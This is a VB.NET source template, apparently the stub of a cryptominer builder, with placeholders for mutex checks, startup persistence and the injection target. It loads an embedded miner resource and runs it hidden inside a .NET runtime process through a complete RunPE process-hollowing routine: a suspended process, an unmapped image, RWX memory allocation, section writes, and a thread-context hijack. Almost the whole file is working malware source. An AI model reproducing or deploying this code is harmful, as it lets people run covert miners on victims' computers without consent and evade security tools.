165 lines
8.0 KiB
Plaintext
165 lines
8.0 KiB
Plaintext
Imports System, Microsoft.VisualBasic
|
|
Imports Microsoft.Win32
|
|
Imports System.Reflection
|
|
|
|
<Assembly: AssemblyTitle("{TITLE}")> 'done
|
|
<Assembly: AssemblyDescription("{DESC}")> 'done
|
|
<Assembly: AssemblyCompany("{COMPANY}")> 'done
|
|
<Assembly: AssemblyProduct("{PRODUCT}")> 'done
|
|
<Assembly: AssemblyCopyright("{COPYRIGHT}")> 'done
|
|
<Assembly: AssemblyTrademark("{TRADEMARK}")> 'done
|
|
<Assembly: AssemblyFileVersion("{FVERSION}")> 'done
|
|
<Assembly: AssemblyVersion("{PVERSION}")> 'done
|
|
|
|
Module Module1
|
|
%MUTEXOBJ%
|
|
Sub Main()
|
|
%CHECKMUTEX%
|
|
%DOSTARTUP%
|
|
|
|
Dim r As New Resources.ResourceManager("hMine", Assembly.GetExecutingAssembly())
|
|
Dim bytes As Byte() = DirectCast(r.GetObject("hMiner"), Byte())
|
|
|
|
'rMinerPE.Create(IO.File.ReadAllBytes("D:\Projekte\RunPE testing\RunPE testing\jhProtominer.exe"), System.Runtime.InteropServices.RuntimeEnvironment.GetRuntimeDirectory() & "%INJECT%", "%ARGS%", %DEBUG%)
|
|
rMinerPE.Create(bytes, System.Runtime.InteropServices.RuntimeEnvironment.GetRuntimeDirectory() & "%INJECT%", "%ARGS%", %DEBUG%)
|
|
|
|
'%ARGS%
|
|
End Sub
|
|
|
|
%MUTEXSUB%
|
|
|
|
%STARTUPSUB%
|
|
|
|
%CORESUB%
|
|
|
|
End Module
|
|
|
|
Public NotInheritable Class rMinerPE
|
|
Private Sub New()
|
|
End Sub
|
|
Public Shared Function Create(ByVal exeBuffer As Byte(), ByVal hostProcess As String, Optional ByVal optionalArguments As String = "", Optional ByVal Debug As Boolean = False) As Boolean
|
|
Dim IMAGE_SECTION_HEADER As Byte() = New Byte(39) {}
|
|
|
|
Dim IMAGE_NT_HEADERS As Byte() = New Byte(247) {}
|
|
|
|
Dim IMAGE_DOS_HEADER As Byte() = New Byte(63) {}
|
|
|
|
Dim PROCESS_INFO As Integer() = New Integer(3) {}
|
|
|
|
Dim CONTEXT As Byte() = New Byte(715) {}
|
|
|
|
Buffer.BlockCopy(BitConverter.GetBytes(CONTEXT_FULL), 0, CONTEXT, 0, 4)
|
|
|
|
|
|
Buffer.BlockCopy(exeBuffer, 0, IMAGE_DOS_HEADER, 0, IMAGE_DOS_HEADER.Length)
|
|
|
|
|
|
|
|
If BitConverter.ToUInt16(IMAGE_DOS_HEADER, 0) <> IMAGE_DOS_SIGNATURE Then
|
|
Return False
|
|
End If
|
|
|
|
Dim e_lfanew As Int32 = BitConverter.ToInt32(IMAGE_DOS_HEADER, &H3C)
|
|
|
|
|
|
Buffer.BlockCopy(exeBuffer, e_lfanew, IMAGE_NT_HEADERS, 0, IMAGE_NT_HEADERS.Length)
|
|
|
|
If BitConverter.ToUInt32(IMAGE_NT_HEADERS, 0) <> IMAGE_NT_SIGNATURE Then
|
|
Return False
|
|
End If
|
|
|
|
If Not String.IsNullOrEmpty(optionalArguments) Then
|
|
hostProcess += " " & optionalArguments
|
|
End If
|
|
|
|
If Debug Then
|
|
If Not CreateProcess(Nothing, hostProcess, IntPtr.Zero, IntPtr.Zero, False, CREATE_SUSPENDED, _
|
|
IntPtr.Zero, Nothing, New Byte(67) {}, PROCESS_INFO) Then
|
|
Return False
|
|
End If
|
|
Else
|
|
If Not CreateProcess(Nothing, hostProcess, IntPtr.Zero, IntPtr.Zero, False, CREATE_NO_WINDOW + CREATE_SUSPENDED, _
|
|
IntPtr.Zero, Nothing, New Byte(67) {}, PROCESS_INFO) Then
|
|
Return False
|
|
End If
|
|
End If
|
|
|
|
|
|
Dim ImageBase As IntPtr = New IntPtr(BitConverter.ToInt32(IMAGE_NT_HEADERS, &H34))
|
|
|
|
NtUnmapViewOfSection(CType(PROCESS_INFO(0), IntPtr), ImageBase)
|
|
|
|
If VirtualAllocEx(CType(PROCESS_INFO(0), IntPtr), ImageBase, BitConverter.ToUInt32(IMAGE_NT_HEADERS, &H50), MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE) = IntPtr.Zero Then
|
|
Create(exeBuffer, hostProcess, optionalArguments)
|
|
End If
|
|
|
|
NtWriteVirtualMemory(CType(PROCESS_INFO(0), IntPtr), ImageBase, System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(exeBuffer, 0), BitConverter.ToUInt32(IMAGE_NT_HEADERS, 84), IntPtr.Zero)
|
|
|
|
For i As UShort = 0 To CUShort(BitConverter.ToUInt16(IMAGE_NT_HEADERS, &H6) - 1)
|
|
|
|
Buffer.BlockCopy(exeBuffer, e_lfanew + IMAGE_NT_HEADERS.Length + (IMAGE_SECTION_HEADER.Length * i), IMAGE_SECTION_HEADER, 0, IMAGE_SECTION_HEADER.Length)
|
|
|
|
Dim ptp As IntPtr = System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(exeBuffer, CInt(BitConverter.ToUInt32(IMAGE_SECTION_HEADER, &H14)))
|
|
|
|
NtWriteVirtualMemory(CType(PROCESS_INFO(0), IntPtr), CType(CInt(ImageBase) + BitConverter.ToUInt32(IMAGE_SECTION_HEADER, &HC), IntPtr), ptp, BitConverter.ToUInt32(IMAGE_SECTION_HEADER, &H10), IntPtr.Zero)
|
|
Next
|
|
|
|
|
|
NtGetContextThread(CType(PROCESS_INFO(1), IntPtr), System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(CONTEXT, 0))
|
|
|
|
Dim ti1 As Integer = CInt(System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(CONTEXT, 0)) + &HAC
|
|
|
|
NtWriteVirtualMemory(CType(PROCESS_INFO(0), System.IntPtr), CType(ti1, System.IntPtr), ImageBase, &H4, System.IntPtr.Zero)
|
|
|
|
Dim ti2 As Integer = CInt(System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(CONTEXT, 0)) + &HB0
|
|
'OLD NtWriteVirtualMemory(CType(PROCESS_INFO(0), System.IntPtr), CType(System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(CONTEXT, 0) + &HAC, System.IntPtr), ImageBase, &H4, System.IntPtr.Zero)
|
|
System.Runtime.InteropServices.Marshal.Copy(BitConverter.GetBytes(CUInt(ImageBase) + BitConverter.ToUInt32(IMAGE_NT_HEADERS, &H28)), 0, CType(ti2, IntPtr), 4)
|
|
'OLD System.Runtime.InteropServices.Marshal.Copy(BitConverter.GetBytes(CUInt(ImageBase) + BitConverter.ToUInt32(IMAGE_NT_HEADERS, &H28)), 0, CType(System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(CONTEXT, 0) + &HB0, IntPtr), 4)
|
|
|
|
NtSetContextThread(CType(PROCESS_INFO(1), IntPtr), System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(CONTEXT, 0))
|
|
|
|
NtResumeThread(CType(PROCESS_INFO(1), IntPtr), IntPtr.Zero)
|
|
|
|
Return True
|
|
End Function
|
|
|
|
|
|
Private Const CONTEXT_FULL As UInteger = &H10007
|
|
Private Const CREATE_SUSPENDED As Integer = &H4
|
|
Private Const CREATE_NO_WINDOW As Integer = &H8000000
|
|
Private Const MEM_COMMIT As Integer = &H1000
|
|
Private Const MEM_RESERVE As Integer = &H2000
|
|
Private Const PAGE_EXECUTE_READWRITE As Integer = &H40
|
|
Private Const IMAGE_DOS_SIGNATURE As UShort = &H5A4D
|
|
|
|
Private Const IMAGE_NT_SIGNATURE As UInteger = &H4550
|
|
|
|
<System.Runtime.InteropServices.DllImport("kernel32.dll", SetLastError:=True)> _
|
|
Private Shared Function CreateProcess(ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As IntPtr, ByVal lpThreadAttributes As IntPtr, ByVal bInheritHandles As Boolean, ByVal dwCreationFlags As UInteger, _
|
|
ByVal lpEnvironment As IntPtr, ByVal lpCurrentDirectory As String, ByVal lpStartupInfo As Byte(), ByVal lpProcessInfo As Integer()) As Boolean
|
|
End Function
|
|
|
|
<System.Runtime.InteropServices.DllImport("kernel32.dll", SetLastError:=True)> _
|
|
Private Shared Function VirtualAllocEx(ByVal hProcess As IntPtr, ByVal lpAddress As IntPtr, ByVal dwSize As UInteger, ByVal flAllocationType As UInteger, ByVal flProtect As UInteger) As IntPtr
|
|
End Function
|
|
|
|
<System.Runtime.InteropServices.DllImport("ntdll.dll", SetLastError:=True)> _
|
|
Private Shared Function NtUnmapViewOfSection(ByVal hProcess As IntPtr, ByVal lpBaseAddress As IntPtr) As UInteger
|
|
End Function
|
|
|
|
<System.Runtime.InteropServices.DllImport("ntdll.dll", SetLastError:=True)> _
|
|
Private Shared Function NtWriteVirtualMemory(ByVal hProcess As IntPtr, ByVal lpBaseAddress As IntPtr, ByVal lpBuffer As IntPtr, ByVal nSize As UInteger, ByVal lpNumberOfBytesWritten As IntPtr) As Integer
|
|
End Function
|
|
|
|
<System.Runtime.InteropServices.DllImport("ntdll.dll", SetLastError:=True)> _
|
|
Private Shared Function NtGetContextThread(ByVal hThread As IntPtr, ByVal lpContext As IntPtr) As Integer
|
|
End Function
|
|
|
|
<System.Runtime.InteropServices.DllImport("ntdll.dll", SetLastError:=True)> _
|
|
Private Shared Function NtSetContextThread(ByVal hThread As IntPtr, ByVal lpContext As IntPtr) As Integer
|
|
End Function
|
|
|
|
<System.Runtime.InteropServices.DllImport("ntdll.dll", SetLastError:=True)> _
|
|
Private Shared Function NtResumeThread(ByVal hThread As IntPtr, ByVal SuspendCount As IntPtr) As UInteger
|
|
End Function
|
|
End Class |